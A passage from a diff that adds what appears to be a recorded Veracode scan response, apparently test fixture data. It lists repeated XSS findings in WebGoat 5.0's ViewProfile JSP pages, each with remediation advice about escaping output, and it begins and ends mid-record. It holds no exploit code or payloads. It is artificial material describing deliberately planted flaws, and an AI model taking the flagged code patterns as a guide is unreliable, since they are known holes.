+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
